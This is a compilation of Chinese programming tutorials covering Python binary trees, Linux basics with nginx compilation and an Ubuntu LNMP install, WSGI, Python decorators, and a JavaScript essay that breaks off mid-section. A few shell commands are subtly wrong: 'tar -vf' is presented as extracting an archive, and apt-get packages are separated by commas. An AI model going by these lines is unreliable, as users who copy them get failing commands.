print(r)
print(getRightChild(getRightChild(r)))


节点和引用

我们第二种表示树的方式——节点和引用。在这种情况下，我们将定义具有根，以及左右子树属性的类。由于这种表示更紧密地结合了面向对象的方式，我们将继续使用这种表示完成本章的其余部分。 

使用节点和引用，我们认为该树的结构类似于图 2 所示。 



图 2：使用节点和引用表示简单树

我们将开始用简单的节点和引用的类定义如Listing 4 所示。重要的是要记住这种表示的是左右子树引用的是其他二叉树的实例。例如，当我们插入一个新的左子节点到树上时，我们创建了二叉树的另一个实例，修改了根节点的self leftChild使之指向新的树。

Listing 4

class BinaryTree:
    def __init__(self,rootObj):
        self.key = rootObj
        self.leftChild = None
        self.rightChild = None


注意Listing 4 中，构造函数需要得到一些类型的对象存储在根中。就像你可以在列表中存储你喜欢的任何一种类型，树的根对象可以指向任何一种类型。对于我们之前的例子中，我们将存储节点设为根值的名称。使用节点和引用来表示图 2 中的树，我们将创建二叉树类的 6 个实例。 

接下来让我们看一下我们需要构建的根节点以外的函数。为了添加左子节点，我们将创建一个新的二叉树，并设置根的左属性以指向这个新对象。insertLeft的代码Listing 5 所示。 

Listing 5

def insertLeft(self,newNode):
    if self.leftChild == None:
        self.leftChild = BinaryTree(newNode)
    else:
        t = BinaryTree(newNode)
        t.leftChild = self.leftChild
        self.leftChild = t


我们必须考虑两种情况进行插入。第一种情况是，没有左子节点。当没有左子节点时，将新节点添加即可。第二种情况的特征是，当前存在左子节点。在第二种情况下，我们插入一个节点并将之前的子节点降一级。第二种情况是由else语句在Listing 5的第 4 行进行处理。 

对于insertRight的代码必须考虑一个对称的情况。要么没有右子节点，要么我们必须插入根和现有的右子节点之间。插入代码Listing 6 所示。 

Listing 6

def insertRight(self,newNode):
    if self.rightChild == None:
        self.rightChild = BinaryTree(newNode)
    else:
        t = BinaryTree(newNode)
        t.rightChild = self.rightChild
        self.rightChild = t


为了完成一个简单的二叉树数据结构的定义，我们写出访问（参见Listing 7）左右子节点和根值的方法。 

Listing 7

def getRightChild(self):
    return self.rightChild

def getLeftChild(self):
    return self.leftChild

def setRootVal(self,obj):
    self.key = obj

def getRootVal(self):
    return self.key


既然我们已经有了所有创建和操作二叉树的方法，让我们再进一步检查它的结构。让我们把每一个节点比作一个简单的树的根，并添加节点 B 和 C 作为子节点。 下面的代码就是创建树，并存储一些键值，为左右子节点赋值。注意，左右子节点和根都是同一个二叉树类的不同对象。正如我们之前树的定义中说的，我们能够把一个二叉树的任何子节点当成二叉树来做处理。

class BinaryTree:
    def __init__(self,rootObj):
        self.key = rootObj
        self.leftChild = None
        self.rightChild = None

    def insertLeft(self,newNode):
        if self.leftChild == None:
            self.leftChild = BinaryTree(newNode)
        else:
            t = BinaryTree(newNode)
            t.leftChild = self.leftChild
            self.leftChild = t

    def insertRight(self,newNode):
        if self.rightChild == None:
            self.rightChild = BinaryTree(newNode)
        else:
            t = BinaryTree(newNode)
            t.rightChild = self.rightChild
            self.rightChild = t

    def getRightChild(self):
        return self.rightChild

    def getLeftChild(self):
        return self.leftChild

    def setRootVal(self,obj):
        self.key = obj

    def getRootVal(self):
        return self.key


r = BinaryTree('a')
print(r.getRootVal())
print(r.getLeftChild())
r.insertLeft('b')
print(r.getLeftChild())
print(r.getLeftChild().getRootVal())
r.insertRight('c')
print(r.getRightChild())
print(r.getRightChild().getRootVal())
r.getRightChild().setRootVal('hello')
print(r.getRightChild().getRootVal())
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GNU/Linux 强大且Free





什么是Linux


Linux是一种自由和开放源码的类UNIX操作系统内核。目前存在着许多不同的Linux发行版，可安装在各种各样的电脑硬件设备，从手机、平板电脑、路由器和影音游戏控制台，到桌上型电脑，大型电脑和超级电脑。

Linux是一个领先的操作系统内核，世界上运算最快的10台超级电脑运行的都是基于Linux内核的操作系统。


Linux操作系统也是自由软件和开放源代码发展中最著名的例子。只要遵循GNU通用公共许可证,任何人和机构都可以自由地使用Linux的所有底层源代码，也可以自由地修改和再发布。严格来讲，Linux这个词本身只表示Linux内核，但在实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU工程各种工具和数据库的操作系统（也被称为GNU/Linux）。通常情况下，Linux被打包成供桌上型电脑和服务器使用的Linux发行版本。一些流行的主流Linux发行版本，包括Debian（及其衍生版本Ubuntu），Fedora和openSUSE等。Linux得名于电脑业余爱好者Linus Torvalds。


而不是如百度百科所讲的~~Linux操作系统是UNIX操作系统的一种克隆系统。它诞生于1991年的 Linux桌面[1]10 月5日（这是第一次正式向外公布的时间）。以后借助于Internet网络，并通过全世界各地计算机爱好者的共同努力，已成为今天世界上使用最多的一种UNIX类操作系统，并且使用人数还在迅猛增长。~~


Linux只是个内核，而不是操作系统，所以在这我们再理解一下操作系统是由什么组成的。


操作系统


操作系统（英语：Operating

System，简称OS）是管理计算机硬件与软件资源的计算机程序，同时也是计算机系统的内核与基石。操作系统需要处理如管理与配置内存、决定系统资源供需的优先次序、控制输入与输出设备、操作网络与管理文件系统等基本事务。操作系统也提供一个让用户与系统交互的操作界面。

操作系统的型态非常多样，不同机器安装的操作系统可从简单到复杂，可从手机的嵌入式系统到超级计算机的大型操作系统。许多操作系统制造者对它涵盖范畴的定义也不尽一致，例如有些操作系统集成了图形用户界面(GUI)，而有些仅使用命令行界面(CLI)，而将GUI视为一种非必要的应用程序。


操作系统位于底层硬件与用户之间，是两者沟通的桥梁。用户可以通过操作系统的用户界面，输入命令。操作系统则对命令进行解释，驱动硬件设备，实现用户要求。以现代标准而言，一个标准PC的操作系统应该提供以下的功能：



	进程管理（Processing management）

	内存管理（Memory management）

	文件系统（File system）

	网络通信（Networking）

	安全机制（Security）

	用户界面（User interface）

	驱动程序（Device drivers）



而让我们来看一下两者之间的不同之处，这是一张linux的架构图我们可以发现内核只是位于底层。


Linux架构图





用户模式


应用程序（sh、vi、OpenOffice.org等）


复杂库（KDE、glib等）

简单库（opendbm、sin等）


C库（open、fopen、socket、exec、calloc等）


内核模式



	系统中断、调用、错误等软硬件消息

	内核（驱动程序、进程、网络、内存管理等）

	硬件（处理器、内存、各种设备）



我们可以发现，由linux内核+shell可以构成一个操作系统，而linux本身只是个内核，也就是图中的内核模式，负责控制系统的这些部分。也就是我们可以发现，Linux内核构成了一个操作系统除用户界面以外的部分，而shell就是这最后的用户界面。


而linux内核以外的部分就是由GNU计划构成的。


Shell





Shell是系统的用户界面，提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。


实际上Shell是一个命令解释器，它解释由用户输入的命令并且把它们送到内核。不仅如此，Shell有自己的编程语言用于对命令的编辑，它允许用户编写由shell命令组成的程序。Shell编程语言具有普通编程语言的很多特点，比如它也有循环结构和分支控制结构等，用这种编程语言编写的Shell程序与其他应用程序具有同样的效果


bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写：Bourne-Again SHell — 这是关于Bourne shell（sh）的一个双关语（Bourne again / born

again）。Bourne shell是一个早期的重要shell，由史蒂夫·伯恩在1978年前后编写，并同Version 7 Unix一起发布。bash则在1987年由布莱恩·福克斯创造。在1990年，Chet Ramey成为了主要的维护者。


shell将会是我们在GNU/linux中经常用到的经常有到的工具之一，用来操作计算机用的。在迁移到linux之前我们可以试用cygwin来进行模拟：


Cygwin是许多自由软件的集合，最初由Cygnus Solutions开发，用于各种版本的Microsoft Windows上，运行UNIX类系统。


GCC


GCC（GNU Compiler Collection，GNU编译器套装），是一套由GNU开发的编程语言编译器。它是一套以GPL及LGPL许可证所发行的自由软件，也是GNU计划的关键部分，亦是自由的类Unix及苹果电脑Mac OS X 操作系统的标准编译器。GCC（特别是其中的C语言编译器）也常被认为是跨平台编译器的事实标准。


GCC原名为GNU C语言编译器（GNU C Compiler），因为它原本只能处理C语言。GCC很快地扩展，变得可处理C++。之后也变得可处理Fortran、Pascal、Objective-C、Java、Ada，以及Go与其他语言。


c#include <stdio.h>
main()
{
  printf("Hello world\n");
}



bash~/temp/free> gcc hello.c -o hello
hello.c:2:1: warning: type specifier missing, defaults to 'int' [-Wimplicit-int]
main()
^~~~
1 warning generated.
~/temp/free> ./hello
Hello world



同shell一样，对于GNU/linux系统而言,GCC的作用也是无可取代的。当然如果只是一般用途的话，GCC对于一般用户可能没用，但是在些GNU/Linux系统上，我们可能就需要自己编译源码成二进制文件，而没有软件包，因而其重要性是不言而喻的。自然的如果我们自己动手编译GNU/Linux操作系统的话，我们会理解其的重要意义。有兴趣的同学可以试一下：Linux

From Scratch (LFS)。


启动引导程序


最后，当我们构成以上的那些之后，我们就需要一个引导程序，以便使系统启动，引导进内核。


启动程序（bootloader）于电脑或其他计算机应用上，是指引导操作系统启动的程序。启动程序启动方式与程序视应用机型种类。例如在普通PC上，引导程序通常分为两部分：第一阶段引导程序位于主引导记录，用于引导位于某个分区上的第二阶段引导程序，如NTLDR、GNU

GRUB等。


BIOS

开机完成后，bootloader就接手初始化硬件设备、创建存储器空间的映射，以便为操作系统内核准备好


正确的软硬件环境。


简单的bootloader的虚拟汇编码，如其后的八个指令:



	0: 将P暂存器的值设为8

	1: 检查纸带({paper tape)读取器，是否已经可以进行读取

	2: 如果还不能进行读取, 跳至1

	3: 从纸带读取器，读取一byte至累加器

	4: 如为带子结尾，跳至8

	5: 将暂存器的值，存储至P暂存器中的数值所指定的地址

	6: 增加P暂存器的值

	7: 跳至1



但是随着计算机操作系统越来越复杂，位于MBR的空间已经放不下引导操作系统的代码，于是就有了第二阶段的引导程序，而MBR中代码的功能也从直接引导操作系统变成了引导第二阶段的引导程序。


通常在一个GNU/Linux系统中选用GNUGRUB做为引导程序，例如Ubuntu就是用GRUB2。


GNU GRUB（简称“GRUB”）是一个来自GNU项目的启动引导程序。GRUB是多启动规范的实现，它允许用户可以在计算机内同时拥有多个操作系统，并在计算机启动时选择希望运行的操作系统。GRUB可用于选择操作系统分区上的不同内核，也可用于向这些内核传递启动参数。


GNU GRUB的前身为Grand Unified Bootloader。它主要用于类Unix系统；同大多Linux发行版一样，GNU系统也采用GNU GRUB作为它的启动器。Solaris从10 1/06版开始在x86系统上也采用GNU GRUB作为启动器。


以上也就构成了一个简单的操作系统。


从编译开始


我们以一次编译开始我们的Linux学习之旅。


开始之前



	如果你没有用过GNU/Linux，我想你需要在虚拟机上安装一个。

	一个主流的GNU/Linux发行版，如Ubuntu,CentOS,Debian,Mint,OpenSUSE,Fedora等等。

	学会如何打开shell(ps:bash,zsh,sh等等)。



或者你也可以在Windows上安装Cygwin。


编译Nginx


1.下载这个软件的源码包


bashwget http://nginx.org/download/nginx-1.7.4.tar.gz



wget是一个用于下载的软件，当然你也可以用软件，只是用wget似乎会比图形界面快哦。


2.解压软件包


bashtar -vf nginx-1.7.4.tar.gz



-vf的意思是Extract，也就是解压，而tar则是这个解压软件的名字。看上去似乎比WinRAR来得复制得多，但是你可以计时一下，从下载到解压完，和你用鼠标比哪个比较快。


3.到nginx目录下


这里需要分两部进行


1).列出所有文件


bashls -al

drwxr-xr-x   15 fdhuang  staff   510B Sep  2 13:44 nginx-1.7.4
-rw-r--r--    1 fdhuang  staff   798K Aug  5 21:55 nginx-1.7.4.tar.gz



2).到nginx-1.7.4目录


bashcd nginx-1.7.4 



4.配置nginx


一次简单的配置如下


bash./configure



当你熟练以后，你可能和我一样用下面的配置(注意:用下面的代码会出错。)


bash./configure --user=www --group=www --add-module=../ngx_pagespeed-1.8.3.4-beta --add-module=../ngx_cache_purge --prefix=/usr/local/nginx --with-pcre --with-http_spdy_module --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-mail --with-mail_ssl_module --with-ipv6



过程中可能会提示你其中出了多少错误，而这时你便可以很愉快地去用搜索引擎搜索他们。


5.make


这里就会用到GCC等等。


bashmake



6.运行


如果运行顺利的话，应该可以直接


bash./objs/nginx   



其他


1.如果没有wget,make,gcc等命令的时候可以用类似于下面的方法安装，


bashsudo apt-get install gcc,make,wget



2.正常情况下一个开源项目都会有一个README，会告诉你应该如何去做。


包管理


GNU/Linux最方便的东西莫过于包管理了。


引自OpenSUSE官网的说明及图片1






	Linux 发行版无非就是一堆软件包 (package) 形式的应用程序加上整体地管理这些应用程序的工具。通常这些 Linux 发行版，包括 openSUSE，都是由成千上万不同的软件包构成的。


	软件包: 软件包不止是一个文件，内含构成软件的所有文件，包括程序本身、共享库、开发包以及使用说明等。


	元数据 (metadata) 包含于软件包之中，包含软件正常运行所需要的一些信息。软件包安装之后，其元数据就存储于本地的软件包数据库之中，以用于软件包检索。


	依赖关系 (dependencies) 是软件包管理的一个重要方面。实际上每个软件包都会涉及到其他的软件包，软件包里程序的运行需要有一个可执行的环境（要求有其他的程序、库等），软件包依赖关系正是用来描述这种关系的。




Linux 下的软件包通常是以下三种格式：



	tgz - tar gzip 文件。这类文件是基本的压缩软件包，可以容纳软件包维护者认为有用的所有的东西。此格式除本身的压缩格式外，并没有有关软件包内容的标准。

	deb - 此格式的软件包常用于 Debian 系统，是标准的 Debian 软件包格式。

	rpm - 此格式由 Red Hat Linux 所创建，并经由 LSB 标准化，现已为众多 Linux 发行版所采用，是一个优秀的软件包格式。openSUSE 即是用此格式。更多信息可以参阅此处。




  所以这就需要能自动解决依赖关系的软件包管理器。软件包管理系统就是一个工具集，为系统提供一个统一的安装、升级、删除软件的方式。




Ubuntu LNMP


在余下的章节中，我们需要去部署，需要去使用Ubuntu。如果在Windows下可以使用LAMP，但是在这里我们只说Ubuntu。开始之前你需要安装好Ubuntu，无论是在虚拟机，还是在真机安装，或者是Docker。


Update软件包列表


apt-get是debian，ubuntu发行版的包管理工具。apt-get update可以确保我们的软件包列表是最新的，下面是一个简单的更新过程。


打开Terminal或者Konsole等等之类的终端控制台。


bashroot@70cdc7a176a5:/# sudo apt-get update
Ign http://archive.ubuntu.com trusty InRelease
Ign http://archive.ubuntu.com trusty-updates InRelease
Ign http://archive.ubuntu.com trusty-security InRelease
Ign http://archive.ubuntu.com trusty-proposed InRelease
Get:1 http://archive.ubuntu.com trusty Release.gpg [933 B]
Get:2 http://archive.ubuntu.com trusty-updates Release.gpg [933 B]
Get:3 http://archive.ubuntu.com trusty-security Release.gpg [933 B]
Get:4 http://archive.ubuntu.com trusty-proposed Release.gpg [933 B]
Get:5 http://archive.ubuntu.com trusty Release [58.5 kB]
Get:6 http://archive.ubuntu.com trusty-updates Release [62.0 kB]
Get:7 http://archive.ubuntu.com trusty-security Release [62.0 kB]
Get:8 http://archive.ubuntu.com trusty-proposed Release [209 kB]
Get:9 http://archive.ubuntu.com trusty/main Sources [1335 kB]
Get:10 http://archive.ubuntu.com trusty/restricted Sources [5335 B]
Get:11 http://archive.ubuntu.com trusty/universe Sources [7926 kB]
Get:12 http://archive.ubuntu.com trusty/main amd64 Packages [1743 kB]
Get:13 http://archive.ubuntu.com trusty/restricted amd64 Packages [16.0 kB]
Get:14 http://archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]
64% [14 Packages 664 kB/7589 kB 9%]                          58.3 kB/s 1min 58s



更新完应该会显示:


bashFetched 20.5 MB in 5min 22s (63.6 kB/s)
Reading package lists... Done



安装MySQL


安装命令


bashsudo apt-get install mysql-server php5-mysql



过程:


bashroot@70cdc7a176a5:/# sudo apt-get install mysql-server php5-mysql
Reading package lists... 0%
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server-5.5 mysql-server-core-5.5 php5-common php5-json
  psmisc tcpd
Suggested packages:
  libclone-perl libmldbm-perl libnet-daemon-perl libplrpc-perl
  libsql-statement-perl libipc-sharedcache-perl tinyca mailx php5-user-cache
The following NEW packages will be installed:
  libaio1 libdbd-mysql-perl libdbi-perl libhtml-template-perl libmysqlclient18
  libterm-readkey-perl libwrap0 lsof mysql-client-5.5 mysql-client-core-5.5
  mysql-common mysql-server mysql-server-5.5 mysql-server-core-5.5 php5-common
  php5-json php5-mysql psmisc tcpd
0 upgraded, 19 newly installed, 0 to remove and 12 not upgraded.
Need to get 9982 kB of archives.
After this operation, 99.1 MB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu/ trusty/main libaio1 amd64 0.3.109-4 [6364 B]
Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-common all 5.5.40-0ubuntu0.14.04.1 [14.1 kB]
Get:3 http://archive.ubuntu.com/ubuntu/ trusty-updates/main libmysqlclient18 amd64 5.5.40-0ubuntu0.14.04.1 [598 kB]
Get:4 http://archive.ubuntu.com/ubuntu/ trusty/main libwrap0 amd64 7.6.q-25 [46.2 kB]
Get:5 http://archive.ubuntu.com/ubuntu/ trusty/main libdbi-perl amd64 1.630-1 [879 kB]
Get:6 http://archive.ubuntu.com/ubuntu/ trusty/main libdbd-mysql-perl amd64 4.025-1 [99.3 kB]
Get:7 http://archive.ubuntu.com/ubuntu/ trusty/main libterm-readkey-perl amd64 2.31-1 [27.4 kB]
Get:8 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [703 kB]
Get:9 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-client-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [1466 kB]
Get:10 http://archive.ubuntu.com/ubuntu/ trusty-updates/main mysql-server-core-5.5 amd64 5.5.40-0ubuntu0.14.04.1 [3215 kB]
47% [10 mysql-server-core-5.5 850 kB/3215 kB 26%]             79.9 kB/s 1min 6s



在安装的过程中会要求你输入数据库密码。(默认为空)


安装Nginx


bashecho "deb http://ppa.launchpad.net/nginx/stable/ubuntu $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/nginx-stable.list
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C300EE8C
sudo apt-get update
sudo apt-get install nginx



启动Nginx Server


bashsudo service nginx start



安装PHP


sudo apt-get install php5-fpm


安装过程


bashroot@70cdc7a176a5:/# sudo apt-get install php5-fpm
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libsystemd-daemon0
Suggested packages:
  php-pear
The following NEW packages will be installed:
  libsystemd-daemon0 php5-fpm
0 upgraded, 2 newly installed, 0 to remove and 12 not upgraded.
Need to get 2201 kB of archives.
After this operation, 9326 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu/ trusty-proposed/main libsystemd-daemon0 amd64 204-5ubuntu20.8 [9608 B]
Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/universe php5-fpm amd64 5.5.9+dfsg-1ubuntu4.5 [2191 kB]
Fetched 2201 kB in 1min 5s (33.6 kB/s)
Selecting previously unselected package libsystemd-daemon0:amd64.
(Reading database ... 13105 files and directories currently installed.)
Preparing to unpack .../libsystemd-daemon0_204-5ubuntu20.8_amd64.deb ...
Unpacking libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Selecting previously unselected package php5-fpm.
Preparing to unpack .../php5-fpm_5.5.9+dfsg-1ubuntu4.5_amd64.deb ...
Unpacking php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...
Processing triggers for ureadahead (0.100.0-16) ...
Setting up libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Setting up php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...

Creating config file /etc/php5/fpm/php.ini with new version
php5_invoke: Enable module pdo for fpm SAPI
php5_invoke: Enable module pdo_mysql for fpm SAPI
php5_invoke: Enable module opcache for fpm SAPI
php5_invoke: Enable module json for fpm SAPI
php5_invoke: Enable module mysql for fpm SAPI
php5_invoke: Enable module mysqli for fpm SAPI
invoke-rc.d: policy-rc.d denied execution of start.
Processing triggers for libc-bin (2.19-0ubuntu6.3) ...
Processing triggers for ureadahead (0.100.0-16) ...



在线查看:一步步搭建物联网系统


图灵-电子书版一步步搭建物联网系统
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 浅析WSGI
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首先，什么是WSGI？

WSGI, 全称为 Web Server Gateway Interface。

它不是什么框架，它是一个规范，但是作为一个规范，它实际上并没有官方标准。
这里要说明一下，PEP-0333并不是用来规范WSGI用得，而是PEP-0333提出应该有那么一个东西用来处理web服务器和应用服务器之间的关系，因此产生了WSGI。

其次，为什么PEP-0333觉得需要这个规范呢？

因为，就目前来看，Web服务一般按照如下方式部署：


	先部署一个web服务器(Apache etc.)用于处理协议层的业务，比如，单台物理机多服务（多域名或者多端口）、负载均衡等。


	然后部署一个应用服务器(Django etc.)，它用于处理具体业务方面的事情，比如，滴滴打车的应用服务器就会处理打车订单CRUD，处理完成之后呢再返回给web服务器，web服务器收到响应之后再返回给客户端。




WSGI是如何工作的？

通过上文，我们可以了解到WSGI无非做了两件事：


	让Web服务器知道如何调用Python应用程序并把从客户端来的请求拿过来。


	让Python应用程序知道客户端的具体请求是什么，以及如何返回结果给Web服务器并帮助Python应用程序把计算后的结果返回给Web服务器。




也就是说，WSGI是连接Web服务器和应用服务器的桥梁。



目前实现的WSGI中，有两个角色,分别是Server/Gateway和application/framework。

当请求来临的时候，server调用application，然后application把结果返回给server。

那么，server是如何调用application的？

接下来，server需要知道去哪能够找到application。实现这一逻辑，需要在server指定一个Python模块（具体在server的哪个位置保存这一路径，那就得根据具体server类型来选择了，如apache或nginx）该模块必须包含一个名称为application的可调用对象，这个对象的形式如下：


在PEP-0333中指出了，一个WSGI的application角色，应该是一个可调用对象：

def application(environ, start_response)



其中，environ是一个包含了关于这次HTTP请求信息的字典，start_response是一个可调用对象，用于在application中执行，用以在返回响应内容前设置响应的状态码和响应头，同时也意味着告诉server，application要开始返回http的body了。这两个就是server调用application时候需要传递的所有参数了。

那么，我们还需要再说一下，environ和start_response()是需要在server端的生成和定义的



有了这两个参数，application就能知道用户请求的是什么资源，请求中带了什么数据，结果该如何返回给server等等。其中，environ包含了一些符合CGI规范的环境变量和WSGI规范新添加的变量，此外还可能有一些系统变量及Web服务器相关的环境变量。start_response是一个可调用对象，它包含了一个表示HTTP响应状态的字符串和一个HTTP响应headers的列表以及一个用于出错返回的信息，具体参数包含及详情请点这里。

下面是一个完整的application demo，最终返回的body也可以是一个可迭代对象，这样server也可以通过遍历这个对象来拼接成body。

def application(environ, start_response):
    start_response("200 OK", [("Content-type", "text/plain")])
    return ["Hello World!",]

看上去不错，那么我们该如何调用呢？

有几个服务器组件也能够运行的WSGI应用程序，但是对于简单的测试目的，我们可以使用包含在Python的标准库参考实现，就像下面那样：

if __name__ == '__main__':
    from wsgiref.simple_server import make_server
    server = make_server('localhost', 8080, application)
    server.serve_forever()

好了，还记得我们刚才提到的最终返回的body也可以是一个可迭代对象吗？在python中，创建一个迭代器的简单办法就是使用一个生成器，比如，我们有一个用于静态文件的服务，我们可以写一个生成器，让它一次生成一个固定大小的文件块，这样我们就可以随时一次只存储一个文件块了，让我们来试试吧：

def send_file(file_path, size):
    with open(file_path) as f:
        block = f.read(BLOCK_SIZE)
        while block:
            yield block
            block = f.read(BLOCK_SIZE)

对应的 WSGI application 部分如下:

size = os.path.getsize(file_path)
headers = [
    ("Content-type", mimetype),
    ("Content-length", str(size)),
]
start_response("200 OK", headers)
return send_file(file_path, size)

注意，send_file就是上文中所指的可迭代对象。

WSGI中间件

看得出来，WSGI应用结构非常简洁，只需指定一个可调用的识别标记，这使得WSGI应用很容易实现调用其他框架，无非就是修改到来的请求或者修改发出的响应，当然也可以两者都有。那么，接下来看看demo:

class Filter(object):
    def __init__(self, application):
        self.application = application
        
    def __call__(self, environ, start_response):
        # Do something here to modify request
        pass
        
        # Call the wrapped application
        app_iter = self.application(environ, 
                                    self._sr_callback(start_response))
        
        # Do something to modify the response body
        pass
        
        # Return modified response
        return app_iter
        
    def _sr_callback(self, start_response):
        def callback(status, headers, exc_info=None):
            # Do something to modify the response status or headers
            pass
        
            # Call upstream start_response
            start_response(status, headers, exc_info)
        return callback

像这样应用通常被称为Middleware applications或Filter。 Filter可以被连接在一起，由此产生的链通常被称为pipeline。

最后呢，我想说明一下，WSGI是故意设计成最小的Web服务器实现轻松的应用，以便被更多的人采用。但是，几乎没有人真的喜欢直接操作environ变量，也几乎没有人喜欢用start_response这么诡异的逻辑，虽然WSGI提供的API易于实现，但这不代表它的语义让人满意。也正是因为这一原因，几乎每一个应用程序或者web框架都把environ和start_response封装成了语义更完善容错率更高的request和response对象。

Webob就是request和response对象的规范实现之一，它使得WSGI更容易和更满意地被大家使用。

你可以在这里找到Webob的官方文档，当然，下次有机会我也会简单的说明一下Webob到底有多方便。


 Python 装饰器的理解

作者：Yi_Zhi_Yu

来源： Python 装饰器的理解



                    
Python的装饰器可以实现在代码运行期间修改函数的上下文， 即可以定义函数在执行之前进行何种操作和函数执行后进行何种操作， 而函数本身并没有任何的改变。

这个看起来很复杂， 实际上应用到了我之前说过的闭包的概念， 仔细看一看， 其实并不复杂。

首先， 我们先定义一个函数， 这个函数可以输出我的个人昵称：

    def my_name():
        print "Yi_Zhi_Yu"
    my_name() # Yi_Zhi_Yu

那假如我需要在个人昵称输出前， 在输出我的个人uid呢， 当然， 要求是不改动现有的my_name函数， 这个时候就可以使用装饰器了

首先， 装饰器也是个函数, 其次， 他需要接受一个参数，该参数表示了要被装饰的函数(即my_name)：

    def my_info(func):
        def wrapper(*args, **params):
            print 218
            return func(*args, **params)
        return wrapper

然后与相应的被装饰函数关联起来的方法就是使用@my_info写在被装饰函数的前面

    @my_info
    def my_name():
        print "Yi_Zhi_Yu"

最后， 在执行my_name的时候， 就能既输出我的uid， 又能输出我的昵称了

    my_name()
    #218
    #Yi_Zhi_Yu

在上面， 最让我们疑惑的是装饰器函数定义里面的wrapper函数， 装饰器本身返回的是wrapper函数的定义， 而wrapper中则定义了对被装饰函数(my_name)的调用， func表示的就是被装饰函数, 说白了， 装饰器只是把某个不得改动的函数(a)放到另一个函数(b)中， 在b里面调用a, 在调用前后就可以做所谓的看起来像装饰的工作了。
my_info的最终返回的wrapper函数的定义， 并不是执行结果，只有当wrapper真正执行的时候， 才会真正的执行my_name方法， 这就是闭包时所说的内容。
wrapper中的参数， 实际上则是传递给func(实际上是my_name)的参数

因为装饰器也是个函数， 那么装饰器自己的能不能有参数传递呢。可以， 不过需要定义一个更高阶的函数， 也就是外面还要套一层函数， 比如， 我还要输出我的自定义的一个信息，需要传递参数

    def c_info(text):
        def my_info(func):
            def wrapper(*args, **params):
                print text
                print 218
                return func(*args, **params)
            return wrapper
        return my_info
        
     #使用装饰器
     @c_info("Tony")
     def my_name():
        print "Yi_Zhi_Yu"
        
     my_name()
     #Tony
     #218
     #Yi_Zhi_Yu

与前面的那个装饰器相比， 仅仅是多了个外层， 内层也仅仅是增加了对外层传入参数(text)的调用

总而言之， Python在函数定义中支持了对oop思想中的装饰器的实现， 其本质也只是使用了闭包的思路， 延迟调用， 并在调用前后增加自己的其他实现内容

Ps: 以上皆为学习笔记， 附带自己的理解， 难免有偏差， 如有发现纰漏， 还望指正
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 JavaScript 就要统治世界了？

作者：PuYart

来源： JavaScript 就要统治世界了？



                    
" JavaScript 可以……"
"嘛，不就是操作一下 DOM，可以让元素飞来飞去吗"
"JavaScript 是……"
"不就是用 jQuery 让网页动起来，顶多就是再用用 Ajax 和后端进行一下数据交换吗"
"JavaScript 是一门……"
"最讨厌和鄙视这种弱类型不需要编译的脚本语言了，你说 OOP? 扯淡的吧，JS 有对象吗"
"……"



0x00. 前言

早上起床惯例刷刷微博，突然看到 React Native 宣布支持 Android 的消息，一时感觉 Facebook 太给力了，不仅没有推迟发布 React Native For Android 而且还比之前公告的时间提前了一些。立马下床打开电脑赶紧上官网，心想着用 JS 写原生安卓的日子终于要来了。乐乐呵呵地打开文档，然后瞬间就傻眼了。好吧，尽欺负我们这些买不起 Mac 的穷学生。



虽然暂且还是用不了 React Native，但是突然就感觉到了 JS 的强大，细细一想，还真是暗暗作喜，这么恶劣的语言也居然能做出这么多有趣的事情，也真是苦了那些 JS 工程师啊。于是有了这篇稍稍对 JavaScript 畅想的文章。第一次写这类文章，还只是一名在校学生，固然没有大神们的那种境界，有错误和不妥之处还请指出，我定虚心学习。

0x01. 浏览器中的 JavaScript

曾经很单纯地认为能够熟练地使用 jQuery/JavaScript 操作 DOM，能够将一些高复用的组件注册为插件就是掌握 JS 的标志。然而随着自己接触更多的人，接触更多的技术才发现自己的无知和渺小，浏览器其实只是 JavaScript 的一个宿主环境，提供 JavaScript 引擎来解释 JavaScript，浏览器环境下的 JavaScript 和 JavaScript 本身还是有很大区别的，浏览器下的 JavaScript 在 JavaScript 整个体系中其实也只是很小（但很重要）的一部分而已。



0x02. JavaScript 能做什么

1. Web 前端


很早以前各大公司对于 Web 标准的恶战让 JS 的环境异常恶劣，加之语言其本身的不成熟让其功能仅限于一些简单的前端交互。Ajax 技术的出现让前端可以在不刷新页面的情况下和后端进行数据交换，jQuery/zepto 等库的盛行让 JS 变得异常简单，Bootstrap/Amaze UI 等 UI 框架更是让前端的成本无限降低，RequireJS/SeaJs 让 JavaScript 也可以进行依赖管理，MVVM（Model-View-ViewModel 的出现让前后端的分离做到了极致，JavaScript 在前端领域前景明朗。

 // jQuery 进行 Ajax 请求
 $.ajax({
   async: true,
   type: 'POST',
   url: "api.php/CustomerLogin/login",
   data: {
     username: 'PuYart',
     password: 'jianshu', 
     uuid: 'web_jianshu'
   }, 
   success: function (data) {
       // 登录成功
   }
 });




	Ajax：掌握 Ajax - IBMdeveloperWorks


	库：jQuery/zepto


	UI 框架：Bootstrap/AmazeUI


	依赖管理：RequireJS/SeaJs


	MVVM：AngularJS/Avalon




2. 后端之旅


